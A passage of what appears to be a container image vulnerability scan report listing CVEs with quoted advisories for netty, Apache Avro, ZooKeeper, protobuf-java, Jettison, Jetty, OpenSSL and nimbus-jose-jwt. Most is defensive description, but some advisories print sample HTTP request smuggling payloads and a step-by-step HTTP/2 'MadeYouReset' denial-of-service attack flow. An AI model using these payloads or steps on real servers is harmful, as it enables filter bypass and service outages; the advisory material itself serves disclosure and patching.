temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.489%
EPSS Percentile65th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.6.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.6.3
+critical 9.1: CVE--2023--44981 Authorization Bypass Through User-Controlled Key + + + + + + + + +
Affected range<3.7.2
Fixed version3.7.2
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +Authorization Bypass Through User-Controlled Key vulnerability in Apache ZooKeeper. If SASL Quorum Peer authentication is enabled in ZooKeeper (quorum.auth.enableSasl=true), the authorization is done by verifying that the instance part in SASL authentication ID is listed in zoo.cfg server list. The instance part in SASL auth ID is optional and if it's missing, like 'eve@EXAMPLE.COM', the authorization check will be skipped. As a result an arbitrary endpoint could join the cluster and begin propagating counterfeit changes to the leader, essentially giving it complete read-write access to the data tree. Quorum Peer authentication is not enabled by default. + +Users are recommended to upgrade to version 3.9.1, 3.8.3, 3.7.2, which fixes the issue. + +Alternately ensure the ensemble election/quorum communication is protected by a firewall as this will mitigate the issue. + +See the documentation for more details on correct cluster administration. + +
+
+ +medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.6.0
<=3.7.2
Fixed versionNot Fixed
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 org.apache.kerby/kerb-admin 1.0.1 (maven) + +pkg:maven/org.apache.kerby/kerb-admin@1.0.1
+critical 9.8: CVE--2023--25613 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<2.0.3
Fixed version2.0.3
CVSS Score9.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.187%
EPSS Percentile41st percentile
+ +
Description +
+ +An LDAP Injection vulnerability exists in the LdapIdentityBackend of Apache Kerby before 2.0.3.  + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.066%
EPSS Percentile20th percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.126%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.076%
EPSS Percentile23rd percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.419%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.012%
EPSS Percentile1st percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+ +medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
+ +
Description +
+ +### Impact + +Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. + +### Workarounds + +There is no workaround as there is no known exploit scenario. + +### Original Report + +[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. + +Payload: + +``` + POST / HTTP/1.1 + Host: a.com + Content-Length: +16 + Connection: close + ​ + 0123456789abcdef +``` + +When sending this payload to Jetty, it can successfully parse and identify the length. + +When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. + +This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) + +pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
+high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
